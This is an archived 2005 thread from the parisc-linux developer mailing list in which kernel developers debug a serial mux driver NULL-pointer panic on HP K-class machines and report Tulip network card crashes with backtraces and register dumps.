	with ESMTP id 09082-02; Tue, 20 Dec 2005 09:42:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9E707D721;
	Tue, 20 Dec 2005 09:42:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 631327D719
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Dec 2005 09:42:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08476-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Dec 2005 09:42:30 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D61457D716
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Dec 2005 09:42:30 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 0769E4941E0; Tue, 20 Dec 2005 09:42:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <ce7b5dcee759.cee759ce7b5d@shaw.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KFHaY4tAeSEkIb6WZHQhaXN1IGRvb0CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23273

On Mon, Dec 19, 2005 at 08:50:18PM -0700, Keven Tipping wrote:
> I am currently running Kernel version 2.6.15-rc6-pa1.
> 
> This problem, however, is evident in 2.6.14.3-pa0, and 2.6.15-rc5-pa5, as well as 2.6.12.2 (Gentoo 2005 LiveCD). Problem remains regardless of SMP or Uniprocessor kernels.
> 
> On the K Class (it appears it is limited to these machines?), if nothing is currently running on the ttyB0 Serial Console, if you press any key, the system burps up the following:
> 
> Kernel Panic: Kernel Fault
> Not Syncing...
> 
> What I mean by "nothing running" is if Agetty is NOT running, NOR is Bash. 

I really think you could have provided the useful bits from a kernel panic
here.  Please see http://www.parisc-linux.org/faq/kernelbug-howto.html

However, I've reproduced it myself.  Here's the relevant bits:

 IAOQ[0]: mux_read+0x4c/0x17c
 IAOQ[1]: mux_read+0x50/0x17c
 RP(r2): mux_poll+0x78/0x88

The instruction faulting is:

  4c:   48 94 02 28     ldw 114(,r4),r20

which corresponds to the load of flip.count:

                if (tty->flip.count >= TTY_FLIPBUF_SIZE)
			continue;

ie the 'tty' variable is NULL at this point.

Alan, you seem to have the tarbaby for ttys at the moment ... any idea
why port->info->tty would be NULL?  The corresponding routine in 8250.c
(receive_chars()) doesn't check for tty being NULL.  So is there
some non-obvious check the MUX driver is missing, or is this a latent
problem in 8250 too?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [matthew@wil.cx: Re: [parisc-linux] Console Kernel Panic]
Date: Wed, 21 Dec 2005 15:18:15 +0000
Lines: 101
Approved: news@gmane.org
Message-ID: <20051221151814.GE1736__34764.4362053417$1416623960$gmane$org@flint.arm.linux.org.uk>
References: <20051221143937.GB2361@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623960 17452 80.91.229.3 (22 Nov 2014 02:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 linux-serial@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>,
 Keven Tipping <bytelogix@shaw.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Dec 2005 15:18:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 21 Dec 2005 16:18:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 015387D6C7;
	Wed, 21 Dec 2005 08:18:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19654-09; Wed, 21 Dec 2005 08:18:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE08A7D6D0;
	Wed, 21 Dec 2005 08:18:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47F3F7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Dec 2005 08:18:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19654-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Dec 2005 08:18:27 -0700 (MST)
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186])
	by free.linux.hp.com (Postfix) with ESMTP id 4146A7D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Dec 2005 08:18:27 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1Ep5jN-00067J-6B; Wed, 21 Dec 2005 15:18:17 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.52)
	id 1Ep5jL-0002yy-8Y; Wed, 21 Dec 2005 15:18:15 +0000
Content-Disposition: inline
In-Reply-To: <20051221143937.GB2361@parisc-linux.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BBfbY5Q7eSEkX76WZHQhaXN1IGRvb4BM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23274

(Sorry for this not being threaded).

On Wed, Dec 21, 2005 at 07:39:37AM -0700, Matthew Wilcox wrote:
> On Mon, Dec 19, 2005 at 08:50:18PM -0700, Keven Tipping wrote:
> > I am currently running Kernel version 2.6.15-rc6-pa1.
> > 
> > This problem, however, is evident in 2.6.14.3-pa0, and 2.6.15-rc5-pa5, as well as 2.6.12.2 (Gentoo 2005 LiveCD). Problem remains regardless of SMP or Uniprocessor kernels.
> > 
> > On the K Class (it appears it is limited to these machines?), if nothing is currently running on the ttyB0 Serial Console, if you press any key, the system burps up the following:
> > 
> > Kernel Panic: Kernel Fault
> > Not Syncing...
> > 
> > What I mean by "nothing running" is if Agetty is NOT running, NOR is Bash. 
> 
> I really think you could have provided the useful bits from a kernel panic
> here.  Please see http://www.parisc-linux.org/faq/kernelbug-howto.html
> 
> However, I've reproduced it myself.  Here's the relevant bits:
> 
>  IAOQ[0]: mux_read+0x4c/0x17c
>  IAOQ[1]: mux_read+0x50/0x17c
>  RP(r2): mux_poll+0x78/0x88
> 
> The instruction faulting is:
> 
>   4c:   48 94 02 28     ldw 114(,r4),r20
> 
> which corresponds to the load of flip.count:
> 
>                 if (tty->flip.count >= TTY_FLIPBUF_SIZE)
> 			continue;
> 
> ie the 'tty' variable is NULL at this point.
> 
> Alan, you seem to have the tarbaby for ttys at the moment ... any idea
> why port->info->tty would be NULL?  The corresponding routine in 8250.c
> (receive_chars()) doesn't check for tty being NULL.  So is there
> some non-obvious check the MUX driver is missing, or is this a latent
> problem in 8250 too?

Basically, mux.c is operating with an invalid assumption.  The
assumption that port->info is set to NULL when we don't want to
handle the port is bogus.

Let's look at the code:

static int mux_startup(struct uart_port *port)
{
        mod_timer(&mux_timer, jiffies + MUX_POLL_DELAY);
        return 0;
}

Ok, so mux_startup starts the mux_timer running.

static void mux_shutdown(struct uart_port *port)
{
}

mux_shutdown does nothing at all.

mux_poll is the mux_timer expiry function:

static void mux_poll(unsigned long unused)
{
        int i;
 
        for(i = 0; i < port_cnt; ++i) {
                if(!mux_ports[i].info)
                        continue;
 
                mux_read(&mux_ports[i]);
                mux_write(&mux_ports[i]);
        }
 
        mod_timer(&mux_timer, jiffies + MUX_POLL_DELAY);
}

and it assumes that we can call mux_read and mux_write if port->info
is non-NULL.  port->info is set non-NULL on the first open of the
port.  It will not be set to NULL when the port is closed - that
only happens when the port is removed from the serial subsystem.

So, this means that mux_read() will be called by mux_poll() after
mux_shutdown() has been called, and mux_read() will try to
dereference port->info->tty.

Since serial_core assumes that the shutdown method will shut the
driver up completely before returning, this obviously is bad,
especially when the serial_core NULLs out port->info->tty.

Hence, it's a mux driver bug.  Please fix.

-- 
Russell King
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keven Tipping <bytelogix@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HSC Tulip Cards
Date: Sat, 24 Dec 2005 14:33:11 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <A3939D33-9833-4103-92EF-DBD685AF6EEA@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: multipart/mixed;
  boundary="===============1839767225=="
X-Trace: ger.gmane.org 1416623960 17455 80.91.229.3 (22 Nov 2014 02:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Dec 2005 21:34:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 24 Dec 2005 22:34:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCA217D69D;
	Sat, 24 Dec 2005 14:34:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13708-08; Sat, 24 Dec 2005 14:34:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6AB7D696;
	Sat, 24 Dec 2005 14:34:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 510557D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Dec 2005 14:34:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13398-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Dec 2005 14:34:08 -0700 (MST)
Original-Received: from pd2mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 9E9BD7D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Dec 2005 14:34:08 -0700 (MST)
Original-Received: from pd2mr8so.prod.shaw.ca (pd2mr8so-qfe3.prod.shaw.ca [10.0.141.11])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IS000LQYUJCV540@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 24 Dec 2005 14:33:13 -0700 (MST)
Original-Received: from pn2ml6so.prod.shaw.ca ([10.0.121.150])
	by pd2mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IS0000C7UJCIS10@pd2mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 24 Dec 2005 14:33:12 -0700 (MST)
Original-Received: from [10.0.1.7] ([68.147.66.103])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IS0000QYUJCQCI0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 24 Dec 2005 14:33:12 -0700 (MST)
X-Mailer: Apple Mail (2.746.2)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gNvfY3EWeSEkPL6WZHQhaXN1IGRvb4A3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23275


--===============1839767225==
Content-type: multipart/alternative; boundary=Apple-Mail-2-386485413


--Apple-Mail-2-386485413
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

Greetings to all!

I'm just wondering- are Tulip based HSC Cards currently working?

My particular K Class box modprobe's the tulip module fine (2.6.15  
Kernel from PARISC Linux), and it shows up as Eth1 and Eth2, however  
I cannot ping or otherwise "use" the card, DHCP basically just sits  
there and Dmesg reports some stuck interrupt.

The CoreIO LASI Ethernet is working fine, so I've got no quirks about  
not being able to use the Tulip card.  100BaseT would just be nice,  
thats all.

Cheers!

Keven Tipping
     insomnia technology
     "always online"
     email: keven.tipping@insomniatech.ca
     Cell: 403-880-0380



--Apple-Mail-2-386485413
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset=ISO-8859-1

<HTML><BODY style=3D"word-wrap: break-word; -khtml-nbsp-mode: space; =
-khtml-line-break: after-white-space; "><DIV>Greetings to =
all!</DIV><DIV><BR class=3D"khtml-block-placeholder"></DIV><DIV>I'm just =
wondering- are Tulip based HSC Cards currently working?</DIV><DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>My particular K Class box =
modprobe's the tulip module fine (2.6.15 Kernel from PARISC Linux), and =
it shows up as Eth1 and Eth2, however I cannot ping or otherwise "use" =
the card, DHCP basically just sits there and Dmesg reports some stuck =
interrupt.</DIV><DIV><BR class=3D"khtml-block-placeholder"></DIV><DIV>The =
CoreIO LASI Ethernet is working fine, so I've got no quirks about not =
being able to use the Tulip card.=A0 100BaseT would just be nice, thats =
all.</DIV><DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>Cheers!</DIV><BR><DIV> =
<SPAN class=3D"Apple-style-span" style=3D"border-collapse: separate; =
border-spacing: 0px 0px; color: rgb(0, 0, 0); font-family: Helvetica; =
font-size: 12px; font-style: normal; font-variant: normal; font-weight: =
normal; letter-spacing: normal; line-height: normal; text-align: auto; =
-khtml-text-decorations-in-effect: none; text-indent: 0px; =
-apple-text-size-adjust: auto; text-transform: none; orphans: 2; =
white-space: normal; widows: 2; word-spacing: 0px; "><SPAN =
class=3D"Apple-style-span" style=3D"border-collapse: separate; =
border-spacing: 0px 0px; color: rgb(0, 0, 0); font-family: Helvetica; =
font-size: 12px; font-style: normal; font-variant: normal; font-weight: =
normal; letter-spacing: normal; line-height: normal; text-align: auto; =
-khtml-text-decorations-in-effect: none; text-indent: 0px; =
-apple-text-size-adjust: auto; text-transform: none; orphans: 2; =
white-space: normal; widows: 2; word-spacing: 0px; "><SPAN =
class=3D"Apple-style-span" style=3D"border-collapse: separate; =
border-spacing: 0px 0px; color: rgb(0, 0, 0); font-family: Helvetica; =
font-size: 12px; font-style: normal; font-variant: normal; font-weight: =
normal; letter-spacing: normal; line-height: normal; text-align: auto; =
-khtml-text-decorations-in-effect: none; text-indent: 0px; =
-apple-text-size-adjust: auto; text-transform: none; orphans: 2; =
white-space: normal; widows: 2; word-spacing: 0px; "><P style=3D"margin: =
0.0px 0.0px 0.0px 0.0px"><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica">Keven Tipping</FONT></P><P =
style=3D"margin: 0.0px 0.0px 0.0px 0.0px"><FONT face=3D"Helvetica" =
size=3D"3" style=3D"font: 12.0px Helvetica"><SPAN =
class=3D"Apple-converted-space"><SPAN class=3D"Apple-converted-tab">=A0=A0=
 =A0insomnia technology</SPAN></SPAN></FONT></P><P style=3D"margin: =
0.0px 0.0px 0.0px 0.0px">=A0=A0 =A0"always online"</P><P style=3D"margin: =
0.0px 0.0px 0.0px 0.0px">=A0=A0=A0 email: <A =
href=3D"mailto:keven.tipping@insomniatech.ca">keven.tipping@insomniatech.c=
a</A></P><P style=3D"margin: 0.0px 0.0px 0.0px 0.0px">=A0=A0 =A0Cell: =
403-880-0380</P><BR =
class=3D"Apple-interchange-newline"></SPAN></SPAN></SPAN> =
</DIV><BR></BODY></HTML>=

--Apple-Mail-2-386485413--

--===============1839767225==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1839767225==--



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <maz@misterjones.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6.15-rc6-pa1] 2 crashes with GSC Tulip on J210XC
Date: Sun, 25 Dec 2005 20:38:56 +0100
Organization: Metropolis -- Nowhere
Lines: 417
Approved: news@gmane.org
Message-ID: <wrpbqz56k6n.fsf@wild-wind.fr.eu.org>
Reply-To: maz@misterjones.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623960 17457 80.91.229.3 (22 Nov 2014 02:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Dec 2005 19:39:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 25 Dec 2005 20:39:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CD867D675;
	Sun, 25 Dec 2005 12:39:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21301-07; Sun, 25 Dec 2005 12:39:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC4DA7D66F;
	Sun, 25 Dec 2005 12:39:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A9047D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Dec 2005 12:39:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21301-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Dec 2005 12:39:01 -0700 (MST)
Original-Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org
	[62.4.18.26]) by free.linux.hp.com (Postfix) with ESMTP id 506FF7D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Dec 2005 12:39:00 -0700 (MST)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139] helo=hina)
	by young-lust.wild-wind.fr.eu.org with esmtpsa
	(TLS-1.0:RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1Eqbhq-0006F1-8s
	for parisc-linux@lists.parisc-linux.org; Sun, 25 Dec 2005 20:38:58 +0100
Original-Received: from maz by hina with local (Exim 4.60)
	(envelope-from <maz@misterjones.org>) id 1Eqbho-0002np-Rh
	for parisc-linux@lists.parisc-linux.org; Sun, 25 Dec 2005 20:38:56 +0100
X-Attribution: maz
Original-Lines: 411
X-SA-Exim-Connect-IP: 192.168.70.139
X-SA-Exim-Rcpt-To: parisc-linux@lists.parisc-linux.org
X-SA-Exim-Mail-From: maz@misterjones.org
X-SA-Exim-Scanned: No (on young-lust.wild-wind.fr.eu.org);
	SAEximRunCond expanded to false
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NJDcY9YseSEkN76WZHQhaXN1IGRvb8Cu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23276

People,

I recently managed to grab a dual tulip GSC card, thinking it would
probably add some geek factor to one of my PA boxes (J210XC, dual
PA7200). As I was trying to escape from food and toys on this Xmas
day, I plugged it in. And indeed, it shows a few things:

Linux version 2.6.15-rc6-pa1 (maz@eruption) (gcc version 4.0.2 (Debian 4.0.2-2)) #3 SMP Sun Dec 25 11:25:57 CET 2005

**** Crash #1:

Bringing up an interface sometimes generates an HPMC. This is not
systematic, but I manage to trigger it quite easily. Looks
dino-related.

eruption:~# ifconfig eth1 192.168.71.2 up
eth1: MII status 786b, Link partner report 41e1.


Backtrace:
 [<10117ba8>] inl+0x4c/0x78
 [<10275488>] ioread32+0x48/0x5c
 [<000474d4>] tulip_check_duplex+0x16c/0x364 [tulip]
 [<00045c04>] tulip_interrupt+0xb74/0x110c [tulip]
 [<1015f8d8>] handle_IRQ_event+0x5c/0xa4
 [<1015fa8c>] __do_IRQ+0x16c/0x220
 [<10284140>] dino_isr+0x90/0x114
 [<1015f8d8>] handle_IRQ_event+0x5c/0xa4
 [<1015fa8c>] __do_IRQ+0x16c/0x220
 [<1010942c>] do_cpu_irq_mask+0x108/0x1b4
 [<1010e068>] intr_return+0x0/0x1c
 [<1010483c>] _spin_unlock_irq+0x0/0x18


High Priority Machine Check (HPMC): Code=1 regs=103fc080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111101000001110 Not tainted
r00-03  00000000 10104000 102843d0 3737f2a0
r04-07  40000032 10ca2600 000000b0 10ca26e4
r08-11  36d89ea0 800100b0 000041e1 3737f000
r12-15  00052010 10450810 3737f000 0002fef0
r16-19  80010080 000dd024 00000000 f3fc8064
r20-23  f3fc806c 220e020e 102843a8 3737f000
r24-27  020e2202 0000000f 10ca26f0 103f7010
r28-31  0000000f 00000078 35f48c80 10117ba8
sr0-3   00000000 00000000 00000000 0000070b
sr4-7   00000000 00000000 00000000 00000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr08-11  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr12-15  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr16-19  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr20-23  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr24-27  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr28-31  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 00000000 00000000 IAOQ: 102843e0 102843e4
 IIR: 0c800184    ISR: 00000000  IOR: f3fc806c
 CPU:        0   CR30: 35f48000 CR31: 10458000
 ORIG_R28: 00000000
 IAOQ[0]: dino_in32+0x38/0x74
 IAOQ[1]: dino_in32+0x3c/0x74
 RP(r2): dino_in32+0x28/0x74
Kernel panic - not syncing: High Priority Machine Check (HPMC)
 


